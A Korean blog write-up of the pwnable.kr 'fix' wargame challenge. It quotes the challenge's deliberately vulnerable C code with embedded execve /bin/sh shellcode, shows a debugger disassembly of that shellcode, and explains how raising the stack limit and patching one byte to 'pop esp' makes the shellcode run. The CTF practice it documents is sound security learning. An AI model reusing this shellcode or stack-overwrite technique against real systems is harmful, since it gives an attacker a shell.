1. 문제
- ssh로 접속할 수 있는 정보가 주어진다.
2. 코드 분석
2-1. fix.c
- shellcode함수에서 sc의 shellcode를 buf에 copy 한다.
- buf의 RET에 buf를 넣음으로써, buf에 들은 shellcode가 실행되는 것으로 보인다.
#include <stdio.h>
// 23byte shellcode from http://shell-storm.org/shellcode/files/shellcode-827.php
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
void shellcode(){
// a buffer we are about to exploit!
char buf[20];
// prepare shellcode on executable stack!
strcpy(buf, sc);
// overwrite return address!
*(int*)(buf+32) = buf;
printf("get shell\n");
}
int main(){
printf("What the hell is wrong with my shellcode??????\n");
printf("I just copied and pasted it from shell-storm.org :(\n");
printf("Can you fix it for me?\n");
unsigned int index=0;
printf("Tell me the byte index to be fixed : ");
scanf("%d", &index);
fflush(stdin);
if(index > 22) return 0;
int fix=0;
printf("Tell me the value to be patched : ");
scanf("%d", &fix);
// patching my shellcode
sc[index] = fix;
// this should work..
shellcode();
return 0;
}
2-2. sc 디컴파일
- eax에 0xb값을 넣어주는 것을 보아, execve함수로 shell을 획득하는 코드인 것 같다.
pwndbg> disassemble 0x804a02c
Dump of assembler code for function sc:
0x0804a02c <+0>: xor eax,eax
0x0804a02e <+2>: push eax
0x0804a02f <+3>: push 0x68732f2f
0x0804a034 <+8>: push 0x6e69622f
0x0804a039 <+13>: mov ebx,esp
0x0804a03b <+15>: push eax
0x0804a03c <+16>: push ebx
0x0804a03d <+17>: mov ecx,esp
0x0804a03f <+19>: add BYTE PTR [ebx],cl
0x0804a041 <+21>: int 0x80
0x0804a043 <+23>: add BYTE PTR [eax],al
End of assembler dump.
2-3. shellcode함수 디컴파일
- 해당 함수의 ret부분에 sc에 존재하던 shellcode가 존재하는 것을 확인할 수 있다.
- 쉘 코드를 한 줄씩 실행하다가 push eax부분을 실행하니, push ebx가 아닌 다른 코드로 넘어가는 것을 확인할 수 있다.
3. 풀이
- 쉘 코드가 실행되지 않는 이유 : esp와 eip가 겹쳐짐으로써, 쉘코드가 변조되기 때문이다.
- push eax가 실행된 직후, esp와 eip의 간격이 얼마 차이 나지 않음을 알 수 있다.
이로 인해 다음 코드가 실행된다면, esp와 eip가 겹쳐지고 쉘 코드가 변조되는 것이다.
- push eax가 실행된 직후, esp와 eip의 간격이 얼마 차이 나지 않음을 알 수 있다.
- 해결방안 : stack의 범위를 무제한으로 바꿔주고 push eax 대신, pop esp를 해준다.
- stack범위를 무제한으로 해주고 pop esp를 해줌으로써, esp가 다른 곳으로 이동하기 때문에, esp와 eip가 겹치지 않아 쉘코드가 정상적으로 실행된다.
- linux에서 stack 범위를 무제한으로 바꿔주는 명령어
$ ulimit -s unlimited
- stack범위를 무제한으로 바꿔주는 이유
- 만약, esp가 할당이 안된 메모리에 접근하게 되었는데, 스택 크기가 처음 정해진 크기의 범위 안이라면, 현재 esp가 가리키는 곳까지 스택의 크기는 확장된다.
- 이러한 원리를 토대로, stack범위를 무제한으로 바꿔주고 pop esp를 했을 때 esp의 위치까지 stack이 확장되기 때문에, 에러가 발생하지 않는 것이다.
- 인덱스가 16이 아닌, 15인 이유
- 인덱스 16에서 pop esp를 하면, esp에는 0이 들어가기 때문이다.
- push eax가 없어도 쉘 코드가 실행되는데, 차질이 생기는 코드가 아니기 때문이다.
4. Exploit
'Wargame > pwnable.kr' 카테고리의 다른 글
[Fake EBP] simple login (0) | 2022.08.05 |
---|---|
[BOF + Canary leak] md5 calculator (0) | 2022.08.01 |
[BOF] echo1 (0) | 2022.07.24 |